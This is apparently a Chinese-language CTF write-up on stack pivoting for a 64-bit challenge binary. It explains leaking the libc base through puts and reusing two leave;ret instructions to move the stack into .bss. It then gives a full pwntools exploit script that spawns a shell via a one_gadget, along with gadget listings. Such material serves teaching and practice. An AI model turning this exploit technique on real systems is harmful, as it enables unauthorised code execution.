做了这道题才算是理解栈迁移了,之前那道栈迁移没搞懂原理就交差了(😓
此题64位,保护仅开启nx,strings里面没有system
或/bin/sh
,考虑泄露libc基址
本题有两次输入
第一次输入写入bss段上的一个地址,该地址起始为0x404080
第二次输入buf,距离rbp为0x20
,但是限制输入长度为0x30
,则溢出长度仅有0x8
字节长,正常的rop链肯定行不通,于是考虑栈迁移
栈迁移本质是利用两次leave
(将函数结束后的ret_addr
覆盖为leave_ret_addr
即可,劫持rsp寄存器,以及一次ret
达到利用的目的;下面是栈迁移的大致手绘思路(栈地址那块应为old_rbp
第一次输入可以布置ROP链,第二次输入进行栈迁移
选择在bss_addr+0x60
处进行布置,可以避免访问修改了与bss段相邻的got表,但第一次输入是在bss_addr
处开始,则我们需要0x60
的padding填充
此题只需迁移1次栈,则迁移后伪栈的布置的fake_addr
可为任意值(如0xdeadbeef
此后开始ROP链布置,第一次先泄露出libc基址,然后返回第二次溢出的read处,即vuln()
处;
另外,此题溢出长度较短,无法传参调用system(/bin/sh)
,只能使用one_gadget
还需要注意的一点是,最后read的padding为0x27
而不是0x28
在于末尾会多出一个换行符,如果0x28
则会导致最后ret地址多出1个字节内容,如图
正常情况下可以getshell
exp:
from pwn import *
context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
io=process("./yichu2")
elf=ELF("./yichu2")
libc=ELF("./libc-2.27.so")
puts_plt=elf.plt[b"puts"]
puts_got=elf.got[b"puts"]
start=elf.sym[b"main"]
vuln=0x401227
pop_rdi_ret=0x4012a3
leave_ret=0x4011e0
bss_addr=0x404080 #0x404080
payload1=cyclic(0x60)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(vuln)
# payload1=p64(one_gadget)
io.recvuntil(b"Name:\n")
io.sendline(payload1)
# gdb.attach(io)
# pause()
io.recvuntil(b"ffer:\n")
payload2=cyclic(0x20)+p64(bss_addr+0x60)+p64(leave_ret)
io.sendline(payload2)
base_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))-libc.sym[b"puts"]
print("base_addr: "+hex(base_addr))
one_gadget=0x4f322+base_addr
print("one_gadget: "+hex(one_gadget))
# str_bin_sh=base_addr+next(libc.search(b"/bin/sh"))
# print("str_bin_sh: "+hex(str_bin_sh))
# sys_addr=base_addr+libc.sym[b"system"]
# print("sys_addr: "+hex(sys_addr))
payload2=cyclic(0x27)+p64(one_gadget)
io.sendline(payload2)
io.interactive()
# Gadgets information
# ============================================================
# 0x00000000004011e0 : leave ; ret
# 0x000000000040129c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040129e : pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004012a0 : pop r14 ; pop r15 ; ret
# 0x00000000004012a2 : pop r15 ; ret
# 0x000000000040129b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040129f : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040115d : pop rbp ; ret
# 0x00000000004012a3 : pop rdi ; ret
# 0x00000000004012a1 : pop rsi ; pop r15 ; ret
# 0x000000000040129d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret
# Unique gadgets found: 12
# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rsp & 0xf == 0
# rcx == NULL
# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL
# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL